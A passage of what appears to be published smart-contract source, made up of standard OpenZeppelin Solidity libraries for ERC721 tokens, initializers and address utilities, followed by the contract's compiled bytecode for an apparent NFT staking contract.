not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b506004361061025c5760003560e01c8063a3f3ae2911610145578063d16e307f116100bd578063e80007c91161008c578063edb2ab0911610071578063edb2ab0914610606578063f2fde38b14610627578063ff0466771461063a5761025c565b8063e80007c9146105e0578063e8a4ba2c146105f35761025c565b8063d16e307f1461054e578063d95cfbf914610561578063e5fd7bdd14610596578063e7aee6dc146105cd5761025c565b8063b1e59f1811610114578063c5a991f8116100f9578063c5a991f814610505578063c7886a1a14610518578063cedc52e91461053b5761025c565b8063b1e59f18146104d1578063bb638c98146104f25761025c565b8063a3f3ae291461044e578063ab3349571461048b578063ac54dd7e1461049e578063b1a03b6b146104b15761025c565b80634215262e116101d85780636b185df8116101a7578063797d894e1161018c578063797d894e146103f35780638da5cb5b146104065780639fc4fcdb1461042b5761025c565b80636b185df8146103e3578063715018a6146103eb5761025c565b80634215262e14610389578063485cc955146103bd578063589e5cd7146103d05780635c975abb146103d85761025c565b806316c38b3c1161022f5780632ea9c06e116102145780632ea9c06e1461033557806331323e5f14610348578063360ca003146103695761025c565b806316c38b3c1461030d57806328f61306146103205761025c565b806307803ca81461026157806308ddfc0c14610294578063150b7a02146102a957806315b31bbb146102fa575b600080fd5b61028161026f3660046133a5565b60d96020526000908152604090205481565b6040519081526020015b60405180910390f35b6102a76102a23660046133a5565b61065b565b005b6102e16102b736600461341c565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040516001600160e01b0319909116815260200161028b565b6102a76103083660046135bc565b6106dd565b6102a761031b3660046135bc565b61074b565b6103286107c3565b60405161028b919061364c565b6102a76103433660046135f8565b61080b565b6102816103563660046133a5565b6116c06020526000908152604090205481565b6102816103773660046133a5565b60d86020526000908152604090205481565b6103ad6103973660046133a5565b6116c26020526000908152604090205460ff1681565b604051901515815260200161028b565b6102a76103cb3660046133e4565b610a11565b6102a7610ba5565b60655460ff166103ad565b6102a7610f18565b6102a76113dd565b6102a76104013660046134b6565b611443565b6033546001600160a01b03165b6040516001600160a01b03909116815260200161028b565b6103ad6104393660046135f8565b60dd6020526000908152604090205460ff1681565b60d55461046a906fffffffffffffffffffffffffffffffff1681565b6040516fffffffffffffffffffffffffffffffff909116815260200161028b565b6102a7610499366004613628565b611afa565b6102816104ac3660046133a5565b611bbe565b6102816104bf3660046133a5565b60da6020526000908152604090205481565b6102816104df3660046133a5565b6116c36020526000908152604090205481565b6102a76105003660046133a5565b611c2f565b6103ad6105133660046135f8565b611cab565b6103ad6105263660046133a5565b60dc6020526000908152604090205460ff1681565b6104136105493660046135f8565b611dd8565b6102a761055c3660046135f8565b611df9565b61058461056f3660046133a5565b60de6020526000908152604090205460ff1681565b60405160ff909116815260200161028b565b6105ba6105a43660046133a5565b60db6020526000908152604090205461ffff1681565b60405161ffff909116815260200161028b565b6102a76105db3660046134b6565b611e59565b6102a76105ee3660046133a5565b612426565b6102a76106013660046134b6565b6124a2565b6102816106143660046133a5565b6116c16020526000908152604090205481565b6102a76106353660046133a5565b61298e565b6102816106483660046133a5565b6116c46020526000908152604090205481565b6033546001600160a01b031633146106ba5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6116bf80546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146107375760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b6116c5805460ff1916911515919091179055565b6033546001600160a01b031633146107a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106b1565b80156107b8576107b3612a6d565b6107c0565b6107c0612b05565b50565b6107cb613330565b604080516202bc008101918290529060df906115e09082845b81546001600160a01b031681526001909101906020018083116107e4575050505050905090565b60655460ff16156108515760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b600260975414156108a45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560d7546040517f70a082310000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561090557600080fd5b505afa158015610919573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093d9190613610565b81111561098c5760405162461bcd60e51b815260206004820152601960248201527f4e6f7420656e6f756768207768616c657320746f206275726e0000000000000060448201526064016106b1565b60d7546040517f9dc29fac000000000000000000000000000000000000000000000000000000008152336004820152602481018390526001600160a01b0390911690639dc29fac90604401600060405180830381600087803b1580156109f157600080fd5b505af1158015610a05573d6000803e3d6000fd5b50506001609755505050565b600054610100900460ff16610a2c5760005460ff1615610a30565b303b155b610aa25760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016106b1565b600054610100900460ff16158015610acd576000805460ff1961ff0019909116610100171660011790555b610ad5612b88565b610add612bfb565b610ae5612c6e565b60d680546001600160a01b038085166001600160a01b03199283161790925560d7805492861692909116919091179055678ac7230489e8000060c98190556798a7d9b8314c000060ca5567a688906bd8b0000060cb5567b469471f8014000060cc5567c249fdd32778000060cd5567d02ab486cedc000060ce556802b5e3af16b188000060cf81905568056bc75e2d6310000060d45560d0556801158e460913d0000060d15560d2558015610ba0576000805461ff00191690555b505050565b60026097541415610bf85760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560655460ff1615610c435760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b6116bf54604051638c3e948f60e01b81523360048201526000916001600160a01b031690638c3e948f9060240160006040518083038186803b158015610c8857600080fd5b505afa158015610c9c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610cc491908101906134f6565b805190915015610e3d573360009081526116c2602052604090205460ff16610d13576116c6543360009081526116c160209081526040808320939093556116c2905220805460ff191660011790555b610d1e815133612ce1565b3360009081526116c0602090815260408083205484516116c190935292205462015180929190610d4e90426136e0565b610d5891906136c1565b610d6291906136c1565b610d6c91906136a1565b3360009081526116c3602052604081208054909190610d8c908490613689565b90915550610d9c90508133612e12565b3360009081526116c4602052604090205415610e295760cf543360009081526116c460205260409020546201518091610dd4916136c1565b3360009081526116c16020526040902054610def90426136e0565b610df991906136c1565b610e0391906136a1565b3360009081526116c3602052604081208054909190610e23908490613689565b90915550505b3360009081526116c1602052604090204290555b5060d7543360008181526116c36020526040908190205490516340c10f1960e01b8152600481019290925260248201526060916001600160a01b0316906340c10f1990604401600060405180830381600087803b158015610e9d57600080fd5b505af1158015610eb1573d6000803e3d6000fd5b50503360008181526116c36020908152604091829020548251938452908301527f529be2fc7695aa4bea51b31827bae6ca73ce18e719bf334a08df18fa1e1bac26935001905060405180910390a1503360009081526116c360205260408120556001609755565b60026097541415610f6b5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016106b1565b600260975560655460ff1615610fb65760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106b1565b33600090815260dc602052604090205460ff16156110f35733600090815260da602090815260408083205460db83528184205460d99093529220546001926201518092909161ffff9091169061100c90426136e0565b61101691906136c1565b61102091906136c1565b61102a91906136a1565b33600090815260d86020526040812080549290931b929161104c908490613689565b909155505033600090815260de602052604090205460ff16156110e05760cf5433600090815260de6020526040902054620151809161108d9160ff166136c1565b33600090815260d960205260409020546110a790426136e0565b6110b191906136c1565b6110bb91906136a1565b33600090815260d86020526040812080549091906110da908490613689565b90915550505b33600090815260d9602052604090204290555b6116bf54604051638c3e948f60e01b81523360048201526000916001600160a01b031690638c3e948f9060240160006040518083038186803b15801561113857600080fd5b505afa15801561114c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f